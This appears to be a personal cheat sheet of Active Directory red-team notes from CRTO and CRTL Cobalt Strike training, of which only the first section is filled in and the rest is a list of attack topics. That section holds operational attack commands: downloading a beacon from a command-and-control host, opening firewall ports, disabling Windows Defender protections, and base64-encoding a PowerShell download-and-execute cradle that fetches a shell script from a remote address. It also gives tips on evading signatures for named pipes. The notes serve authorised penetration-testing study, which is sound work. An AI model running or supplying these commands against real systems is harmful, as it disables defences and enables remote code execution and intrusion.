Red Teaming
My notes for Active Directory red teaming I made during both CRTO and CRTL trainings
CRTO Section
MISC
# Run a python3 webserver
$ python3 -m http.server
# Check outbound access to TeamServer
$ iwr -Uri http://nickelviper.com/a
$ iwr -Uri http://nickelviper.com/a -OutFile beacon.ps1
# Change incoming firewall rules
beacon> powerpick Get-NetFirewallRule
# Enable http inbound and outbound connection
beacon> powerpick New-NetFirewallRule -Name "HTTP-Inbound" -DisplayName "HTTP (TCP-In)" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 80
beacon> powerpick New-NetFirewallRule -Name "HTTP-Outbound" -DisplayName "HTTP (TCP-Out)" -Enabled True -Direction Outbound -Protocol TCP -Action Allow -LocalPort 80
# Enable Specific port inbound and outbound connection
# Inbound Rule
beacon> powerpick New-NetFirewallRule -Name "Allow-Port-Inbound" -DisplayName "Allow Inbound Connections to Port 12345" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 4444
# Outbound Rule
beacon> powerpick New-NetFirewallRule -Name "Allow-Port-Outbound" -DisplayName "Allow Outbound Connections to Port 12345" -Enabled True -Direction Outbound -Protocol TCP -Action Allow -RemotePort 4444
# Removing a firewall rule by its name
beacon> powerpick Remove-NetFirewallRule -DisplayName "Test Rule"
# Disabled Real Time Protection / Windows Defender
beacon> powerpick Set-MPPreference -DisableRealTimeMonitoring $true -Verbose
beacon> powerpick Set-MPPreference -DisableIOAVProtection $true -Verbose
beacon> powerpick Set-MPPreference -DisableIntrusionPreventionSystem $true -Verbose
## Encode the powershell payload to base64 for handling extra quotes
# From Powershell
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
#From Linux
$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
# Final Command to execute encoded payload
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
# CobaltStrike AggressorScripts for Persistence
https://github.com/Peco602/cobaltstrike-aggressor-scripts/tree/main/persistence-sharpersistCommand & Control
Setting up DNS records for DNS based beacon payloads
Start the teamserver and run as service
Enable Hosting of Web Delivery Payloads via agscript client in headless mode
Custom Malleable C2 Profile for CRTO
Setup CS Listeners
Setting up the SMB Listener
Default pipe name is quite well signatured. A good strategy is to emulate names known to be used by common applications or Windows itself.
Use
PS C:\> ls \\.\pipe\to list all currently listening pipes for inspiration.TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24a0c57
Setting up Pivot Listener
Beacon_reverse_tcp and Beacon_Bind_Tcp both are different type of Listeners.
Pivot Listeners can only be created from a beacon.
Steps to create a Pivot Listener
Click on the Beacon Host
Select Pivoting > Listener and Give it a Name and leave other options untouched (Modify if required)
Now in the Beacon Host machine you can check that is Beacon Process has a opened Port
netstat -anop tcp | findstr <PORT>where port is the pivot listener port
Now go to the payloads and generate any payload and select the beacon_reverse_tcp as payload listener.
Defender Antivirus / AMSI
Initial Compromise
Enumerating OWA to identify valid user and conducting password spraying attack
Create a malicious Office file having embedded macro
Host Reconnaissance
Host Persistence (Normal + Privileged)
Host Privilege Escalation
Credential Theft
Domain Recon
Domain Recon using Power View
Domain recon using SharpView binary
Domain recon using ADSearch
User Impersonation
Pass The Hash Attack (PTH)
Pass The Ticket Attack (PTT)
OverPassTheHash (OPTH)
Token Impersonation , Token Store, Make Token & Process Injection
Lateral Movement
Session Passing
Pivoting
Data Protection API (DPAPI)
Kerberos
Kerberoasting / ASREPRoasting
Unconstrained Delegation
Constrained Delegation
S4U2Self Abuse
RBCD
Shadow Credentials
Kerberos Relay Attacks
Active Directory Certificate Services
Group Policy
MSSQL Servers
MSSQL Server - Quick Commands
MSQSL Server - Enumeration
MSSQL Server - Impersonation
MSSQL Server - Command Execution
MSSQL Server - Lateral Movement
MSSQL Server - Privilege Escalation
Forest & Domain Trusts
Cross Domain Attacks
Cross Forest Attacks (Inbound / Outbound)
LAPS
AppLocker
Data Exfiltration
CRTL Section
CRTL Modifications
CRTL Profile
Last updated